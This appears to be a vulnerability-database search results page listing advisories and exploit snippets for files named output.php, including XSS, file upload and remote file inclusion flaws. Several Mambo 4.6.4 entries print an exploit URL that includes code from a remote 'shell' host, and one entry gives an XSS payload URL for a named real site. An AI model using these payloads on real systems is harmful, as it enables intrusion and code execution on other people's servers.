9 matches found
CVE-2021-39325
The OptinMonster WordPress plugin is vulnerable to Reflected Cross-Site Scripting due to insufficient input validation in the loadpreviews function found in the /OMAPI/Output.php file which allows attackers to inject arbitrary web scripts, in versions up to and including 2.6.0...
CVE-2017-6395
An issue was discovered in HashOver 2.0. The vulnerability exists due to insufficient filtration of user-supplied data passed to the 'hashover/scripts/widget-output.php' URL. An attacker could execute arbitrary HTML and script code in a browser in the context of the vulnerable website...
kodin.cn XSS vulnerability
Vulnerable URL: http://www.kodin.cn/site/output.php?callback=prompt/OPENBUGBOUNTY/...
Mambo <= 4.6.4 (Output.php) Remote File Inclusion Vulnerability
No description provided by source. .-----------------------------------------------------------------------------. | vuln.: Mambo = 4.6.4 Remote File Inclusion Vulnerability | | download: http://mambo-foundation.org/ | | | | author: [email protected] | | &...
mambo464-rfi.txt
.-----------------------------------------------------------------------------. | vuln.: Mambo 12 / 13 14 requireonce$mosConfigabsolutepath . '/includes/Cache/Lite.php'; ... ^ no comment.. RFI in line 14.. exploit: http://host/path/includes/Cache/Lite/Output.php?mosConfigabsolutepath=http://shell...
Mambo <= 4.6.4 (Output.php) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications =============================================================== Mambo = 4.6.4 Output.php Remote File Inclusion Vulnerability ===============================================================...
Mambo 4.6.4 - 'Output.php' Remote File Inclusion
.-----------------------------------------------------------------------------. | vuln.: Mambo 12 / 13 14 requireonce$mosConfigabsolutepath . '/includes/Cache/Lite.php'; ... ^ no comment.. RFI in line 14.. exploit: http://host/path/includes/Cache/Lite/Output.php?mosConfigabsolutepath=http://shell...
CVE-2007-4499
CVE-2007-4499 affects American Financing eMail Image Upload 4.1; vulnerable component is output.php, with an unrestricted file upload allowing remote code execution via unspecified vectors. The provided sources give this vulnerability detail but no remediation or exploit specifics.
Link Request Contact Form任意文件上传漏洞
Link Request Contact Form允许用户请求向其他站点添加自己站点的链接横幅。 Link Request Contact Form在处理文件上传时存在漏洞，远程攻击者可能利用此漏洞上传恶意脚本执行代码。 Link Request Contact Form的output.php脚本没有验证所上传文件的扩展名，因此攻击者可以上传有.php扩展名的文件然后在服务器上执行任意PHP代码。成功攻击要求在HTTP头中传送允许的MIME媒体类型。 American Financing Link Request Contact Form 3.4 American Financing...